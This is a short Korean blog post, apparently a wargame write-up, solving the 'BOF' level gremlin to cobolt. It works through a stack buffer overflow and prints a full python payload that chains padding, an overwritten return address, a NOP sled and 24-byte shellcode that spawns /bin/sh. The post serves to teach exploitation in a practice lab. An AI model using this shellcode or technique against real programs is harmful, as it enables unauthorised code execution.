Information security/System security

BOF원정대 gremlin -> cobolt

nemojjong 2017. 10. 4. 19:20

이번에는 gremlin에 있는 cobolt를 풀어볼 것이다.

 

c파일을 확인해보면 아래와 같다.

 

 

 

 

소스를 확인해 보면 전과 비슷하다

 

하지만 퍼버에 사이즈가 16byte라는 것을 확인할 수 있다.

 

이러면 쉘코드에 크기는 24byte가 들어가기에 충분하지 않을 것이다.

 

따라서, 공격방법은 스택메모리에 쉘코드를 올리던가 환경변수에 쉘코드를 올리는 방법을 사용해야될 것이다.

 

환경변수로 하면 쉽게 할 수 있지만 스택메모리를 이용해서 공격해보자

 

우선 gdb를 이용해서 메모리를 확인해보자

 

dummy(20byte) + 스택주소(4byte) + argv dummy(4byte) + nop(1000byte) + 쉘코드(24byte)

 

 

 

메모리에 정확히 들어가 있는 것을 확인할 수 있다.

 

스택 주소를 0xbffff778쯤 설정해주고 정확한 코드로 작성해보자

 

$(python -c 'print "A" * 20 + "\x78\xf7\xff\xbf" + "AAAA" + "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

 

 

메모리에 정확히 들어가 있는 것을 확인할 수 있다.

 

그러면 이제 원본 파일로 가서 공격을 해보자

 

사진과 같이 공격에 성공할 수 있다.